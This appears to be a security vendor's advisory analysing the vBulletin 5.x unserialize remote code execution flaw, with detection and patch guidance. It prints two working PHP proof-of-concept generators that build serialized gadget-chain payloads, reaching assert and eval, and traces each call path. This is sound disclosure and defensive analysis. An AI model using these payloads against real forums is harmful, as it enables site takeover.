An Analysis of the vBulletin 5.x Remote Code Execution Exploit

vBulletin is a commercial Internet forum software package, boasting tens of thousands of users which are growing rapidly worldwide. It is written in the PHP web language and uses the MySQL database. Owing to its large user base, vBulletin is frequently reported to have vulnerabilities. In NSFOCUS Vulnerability Database (NSVD), there are 49 entries related to vBulletin, most of which are SQL injection vulnerabilities. The vulnerability disclosed this time is of a relatively high risk level, known as remote code execution (RCE). Theoretically, an attacker can exploit this vulnerability to execute arbitrary code or even take complete control of a forum that uses this program.

Possible Impact

  • This forum program is widely used in many countries, but seldom seen in China. In the Seer system of NSFOCUS, there are only 50-odd entries related to it.
  • The proof of concept (PoC) regarding this vulnerability has been propagated over the Internet. According to foreign media, information of 479,895 users of the official website of vBulletin has been disclosed.
  • This program is not available in Chinese. However, there are quite a few Chinese editions and cracked versions, in which the vulnerability in question may exist.
  • vBulletin 5.1.4 through 5.1.9 is affected by this vulnerability.
    vBulletin uses “unserialize” at its Ajax interface, which makes it so vulnerable as to allow overwriting of class variables of the class used in the context, leading to various security issues.

0X01 Vulnerability Analysis

  1. Delving into the Exploit
    The vB_Api_Hook::decodeArguments method in the hook.php file contains an “unserialize” call, making values passed to it unserialized. In addition, an attacker can control the “$arguments” value. This is where the exploitation of this vulnerability starts.

    public function decodeArguments($arguments) { =》if ($args = @unserialize($arguments)) { …

  2. Overwriting Unserialized Variables in the Context
    PoC

Our analysis of the URL finds that “path” is the result of route conversion by vBulletin, which is, in nature, an MVC (Model View Control) call. The path, after being processed by vBulletin, is in the format of ajax/api/[controller]/[method], indicating that this page calls the decodeArgument method in the hook file. The query contains only one parameter named “arguments”, whose value is a section of serialized code.

Look at the following serialized code:

<?php
class vB_Database_MySQL {
   public $functions = array();
   public function __construct() {
      $this->functions['free_result'] = 'assert';
   }
}

class vB_dB_Result {
    protected $db;
    protected $recordset;
    public function __construct() {
       $this->db = new vB_Database_MySQL();
       $this->recordset = 'print(\'Hello world!\')';
    }
}

print urlencode(serialize(new vB_dB_Result())) . "\n";
?>

The final output is the value of serialize(new vB_dB_Result()). Class vB_dB_Result defines two “protected” variables, and its constructor function duplicates the two variables. The value of $recordset is a string of characters. The PoC also shows that the $recordset value is the section of code to be executed. $db is assigned class vB_Database_MySQL, in which $functions, a variable of the array type, is defined and the free_result index of this array is assigned the value of “assert”. To sum up, vBulletin unserializes values passed to parameters so that variables can be overwritten in the context. After such overwriting, the system is vulnerable to the RCE exploit.

Code

The vB_Api_Hook::decodeArguments method in the hook.php file contains an “unserialize” call, making values passed to it unserialized. The $args variable is assigned class vB_Database_Result.

public function decodeArguments($arguments)
    {
     =》if ($args = @unserialize($arguments))
    {
        $result = '';

        foreach ($args AS $varname => $value)
        {
            $result .= $varname;
            ...

Then comes the foreach function. As $args is an object data structure and the current class (vB_Database_Result) implements Iterator, when traversing $args, PHP first calls its rewind() method.

public function decodeArguments($arguments)
{
    if ($args = @unserialize($arguments))
    {
        $result = '';

     =》foreach ($args AS $varname => $value)
        {
            $result .= $varname;
            ...

Next follows the rewind() method of the vB_Database_Result class in result.php. This method calls the free_result method of $db within the current class and passes the value of the class variable $recordset to vB_Database_Result.

public function rewind()
{
    if ($this->bof)
    {
        return;
    }

    if ($this->recordset)
    {
     =》$this->db->free_result($this->recordset);
    }
    ...

Finally, the free_result method of the vB_Database class in database.php controls $functions[‘free_result’] of the current class (vB_Database) and the passed $queryresult. Dynamic function execution is thus achieved. This is the whole process of vulnerability exploitation.

function free_result($queryresult)
{
    $this->sql = '';
 =》return @$this->functions['free_result']($queryresult);
}
1

1

  1. Exploiting RCE by Using the Magic Method After Unserialization PoC

The analysis of “path” is the same as that in the preceding section.
Look at the following serialized code:

<?php
class vB5_Template {
    public $tmpfile;
    protected $template;
    protected $registered = array();
    public function __construct() {
        $this->template = 'widget_php';
        $this->registered['widgetConfig'] = array('code' => 'print_r(\'hello manning\');die();');
   }
}

class vB_View_AJAXHTML {
    public $tmpfile;
    protected $content;
    public function __construct() {
        $this->content = new vB5_Template();
   }
}

class vB_vURL {
    public $tmpfile;
    public function __construct() {
        $this->tmpfile = new vB_View_AJAXHTML();
    }
}

print urlencode(serialize(new vB_vURL())) . "\n";
?>    

The final output is the value of serialize(new vB_vURL()). A public variable $tmpfile is injected into class vB_vURL, with an assigned class of vB_View_AJAXHTML. In the constructor function of class vB_View_AJAXHTML, the object $content is assigned class vB5_Template. The final exploitation code is found in $template and $registered of class vB5_Template, indicating that values of templates widget_php and $registered[‘widgetConfig’] are called as exploitation code.

Code

The vB_Api_Hook::decodeArguments method in the hook.php file contains an “unserialize” call, making values passed to it unserialized. The $args variable is assigned class vB_vURL.

public function decodeArguments($arguments)
{
 => if ($args = @unserialize($arguments))
    {
        $result = '';

     =》foreach ($args AS $varname => $value)
        {
            $result .= $varname;

            if(is_array($value))
            {
                $this->decodeLevel($result, $value, '=');
            }
            $result .= "\n";
        }
        return $result;
    }
    return '';
}

In “foreach”, as $args is an object data structure and the current class (vB_vURL) does not implement Iterator, when traversing $args, PHP traverses only public variables of the vB_vURL class. In this case, the system is not vulnerable.

As the “return” operation is required, the destructor function of the current class (vB_vURL) is triggered.

function __destruct()
{
 => if (file_exists($this->tmpfile))
    {
        @unlink($this->tmpfile);
    }
}

As $tmpfile is assigned an object value, the file_exists method attempts to convert it into a string of characters, thus triggering the __toString() method of the $tmpfile object. (Values passed are of the vB_View_AJAXHTML class, which inherits the vB_View class. Therefore, the __toString method of the vB_View class is triggered.)

public function __toString()
{
    try
    {
       => return $this->render();
    }
    catch(vB_Exception $e)
    {
        //If debug, return the error, else
        return '';
    }
}

From the preceding description, the current $this object is actually an object of the vB_View_AJAXHTML class. Therefore, next comes the render() method of the vB_View_AJAXHTML class. As the $content class object of the vB_View_AJAXHTML class is defined, we get the following code:

public function render($send_content_headers = false)
{
    ...

    if ($this->content)
    {
      =》 $xml->add_tag('html', $this->content->render());
    }

$content has been assigned class vB5_Template to become a class object. Therefore, the render() method of the vB5_Template class follows.

public function render($isParentTemplate = true, $isAjaxTemplateRender = false)
{
    $this->register('user', $user, true);
    extract(self::$globalRegistered, EXTR_SKIP | EXTR_REFS);
 =》extract($this->registered, EXTR_OVERWRITE | EXTR_REFS);

    ...

    $templateCache = vB5_Template_Cache::instance();
 =》$templateCode = $templateCache->getTemplate($this->template);
    if($templateCache->isTemplateText())
    {
       =》@eval($templateCode);
    }

The render() method of class vB5_Template calls the extract() and eval() functions, both of which can control the supplied parameters, thereby causing code execution. Look at the PoC again:

 <?php
class vB5_Template {
    public $tmpfile;
    protected $template;
    protected $registered = array();
    public function __construct() {
        $this->template = 'widget_php';
        $this->registered['widgetConfig'] = array('code' => 'print_r(\'hello manning\');die();');
   }
}

That is, we need to control two key points:

  • Templates to be executed
  • Parameters required by these templates

At this time, the code has overwritten the widgetConfig index of $registered. Therefore, the array $widgetConfig is registered to the global variable, with var_dump being:

array (size=1)
    'code' => string 'print_r('hello manning');die();' (length=31)

The template widget_php exists.

$evaledPHP = vB5_Template_Runtime::parseAction('bbcode', 'evalCode', $widgetConfig['code']); 

This can lead to code execution.

0X02 Vulnerability Impact

This RCE vulnerability affects all 5.x versions of vBulletin, easily leading to getshell. It is not exaggerated to say that this vulnerability is the best example of improperly using unserialized operations of PHP, which could cause a serious impact. This vulnerability allows RCE by overwriting variables in the context of code and RCE by using the magic method. I rate this vulnerability at the high level in both the scope of impact and the severity as vBulletin is widely used around the world and this vulnerability affects all 5.x versions.

0x03 Vulnerability Detection

NSFOCUS Web Vulnerability Scanning System (WVSS) can be used to detect this vulnerability. First, you need to deploy WVSS. Then, after just a few configuration steps, WVSS can properly work to deliver fast and all-round detection capabilities. This system can automatically obtain information contained in a website and simulate various website access behaviors, such as button clicking, mouse moving, and complicated form filling. The built-in security model can detect various potential vulnerabilities in web application systems. In addition, WVSS’s remediation process can be fast or slow, depending on whether efficiency or accuracy is required in the security check work. Currently, NSFOCUS’s vulnerability detection products have the following updates:

2

2

Upgrade Method

NSFOCUS has provided rule update packages in the software upgrade bulletin. The rule database can be updated online through the web-based manager. If you cannot install the rule update package online, you can find and download the rule update package corresponding to your product from the software upgrade web page, and upgrade the rule database offline.
Please visit http://update.nsfocus.com/ for product upgrade information.

Developer Community

NSFOCUS Beehive Community has initiated the emergency mechanism to implement online checks for the vBulletin RCE exploit. In the community, developers can discuss development of web security scanning plug-ins, improving their capabilities in various aspects, including vulnerability analysis, code development, and security knowledge exchange. In addition, security workers can conveniently obtain plug-ins for testing purposes to jointly maintain the security of the Internet. NSFOCUS promptly launched the scanning plug-in after the vBulletin RCE exploit was discovered thanks to the developers’ joint efforts.
To join the Beehive Community, please contact beehive@nsfocus.com for the registration code.

0x04 Protection Scheme

More data types can be unserialized in vBulletin, bringing in more risks. To address this, we recommend a protection scheme containing the following elements:

  • Check whether risky operations exist where unserialized results are used.
  • Try to avoid using unserialization in interactive operations.

Upgrade Patch

For individual users, the easiest method is to obtain the related upgrade patch from the official website of vBulletin as soon as possible:
http://members.vbulletin.com/patches.php

0X05 References

  • http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq
  • http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/
  • http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/

Chinese version: https://blog.nsfocus.net/vbulletin-5-rce-vulnerability/

Spread the word. Share this post!

Meet The Author

Leave Comment